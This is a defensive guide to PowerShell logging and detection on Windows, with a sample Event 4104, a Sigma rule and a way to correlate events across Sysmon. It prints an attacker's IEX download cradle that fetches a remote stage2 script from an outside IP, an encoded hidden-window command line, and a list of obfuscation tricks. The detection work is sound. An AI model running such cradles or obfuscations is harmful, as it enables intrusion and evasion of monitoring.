PowerShell is the most detection-rich attack surface on Windows — and the most frequently abused scripting engine by adversaries. Understanding the three logging layers (ScriptBlock, Module, Transcription) determines whether you can see what attackers actually ran.
The Three PowerShell Logging Layers
| Logging Type | EventID | What it captures | Noise level | Enable via |
|---|---|---|---|---|
| Script Block | 4104 | Script content (decoded) | Medium | GPO: ScriptBlock logging |
| Module | 4103 | Executed commands + output | High | GPO: Module logging |
| Transcription | Text file | All I/O to text files | Medium | GPO: Transcription |
Enable all three via Group Policy:
Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell
✓ Turn on Script Block Logging
✓ Turn on Module Logging (set Module Names to *)
✓ Turn on PowerShell Transcription (set output directory to a network share)
ScriptBlock Logging: Your Primary Detection Source
Event 4104 is generated every time PowerShell compiles a script block. For a multi-file script, you get one 4104 per logical block. The critical field is ScriptBlockText — the actual script content after any decoding.
<Event>
<System>
<Provider Name="Microsoft-Windows-PowerShell" Guid="{A0C1853B-5C40-4B15-8766-3CF1C58F985A}" />
<EventID>4104</EventID>
<TimeCreated SystemTime="2024-03-15T09:23:14.882Z" />
<Computer>WORKSTATION01.corp.local</Computer>
</System>
<EventData>
<Data Name="MessageNumber">1</Data>
<Data Name="MessageTotal">1</Data>
<Data Name="ScriptBlockText">
IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/stage2.ps1')
</Data>
<Data Name="ScriptBlockId">{f45a1b2c-3d4e-5f6a-7b8c-9d0e1f2a3b4c}</Data>
<Data Name="Path"></Data>
</EventData>
</Event> The attacker ran: powershell.exe -enc SUVY... (a base64-encoded command). The 4688/Sysmon Event 1 shows the base64. Event 4104 shows what was inside: an IEX download cradle fetching a remote script from a suspicious IP.
Key 4104 detection patterns
# Sigma: PowerShell download cradle detection
title: PowerShell Download Cradle
logsource:
product: windows
service: powershell
definition: Script Block Logging must be enabled
detection:
keywords:
- 'DownloadString('
- 'DownloadData('
- 'WebClient'
- 'Invoke-WebRequest'
- 'Net.WebClient'
- 'Start-BitsTransfer'
- 'bitsadmin'
condition: keywords
falsepositives:
- Legitimate administrative scripts downloading updates
level: medium
Obfuscation vs ScriptBlock Logging
ScriptBlock logging captures script content after the PowerShell engine decodes it. This makes it resistant to many obfuscation techniques:
| Obfuscation technique | ScriptBlock captures… |
|---|---|
-enc SGVsbG8= (base64) | Decoded script |
"I"+"EX" (string concat) | IEX (after concatenation) |
[System.Text.Encoding]::UTF8.GetString(...) | Decoded string result |
Tick mark obfuscation iex | iex (ticks removed) |
Variable-based obfuscation $a='IE'; $b='X'; &($a+$b) | The called string IEX |
However — ScriptBlock logging is blind to:
- Code injected directly into memory (shellcode loaded via
Add-Typeinto a native DLL) - Commands run inside a
Start-Processchild process (that child gets its own ScriptBlock events) - Very short single-command invocations that PowerShell may not log as a “script block”
Correlating Across Log Sources
For a complete picture of a PowerShell attack:
Sysmon Event 1:
Image: powershell.exe
CommandLine: powershell.exe -NoP -sta -NonI -W Hidden -Enc SGVsbG8=
ProcessGuid: {abc-123}
PowerShell Event 4104:
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://185.220.101.5/...')
ProcessGuid: {abc-123} ← correlate on ProcessGuid
Sysmon Event 3:
Image: powershell.exe
ProcessGuid: {abc-123} ← same process
DestinationIp: 185.220.101.5
DestinationPort: 80
Sysmon Event 10 (if process injection follows):
SourceImage: powershell.exe
SourceProcessGuid: {abc-123}
TargetImage: lsass.exe
GrantedAccess: 0x1010
This chain — encoded command → download cradle → network connection → LSASS access — is detectable in full because ProcessGuid links all four events to the same process instance.
PowerShell Logging on Windows— Microsoft Docs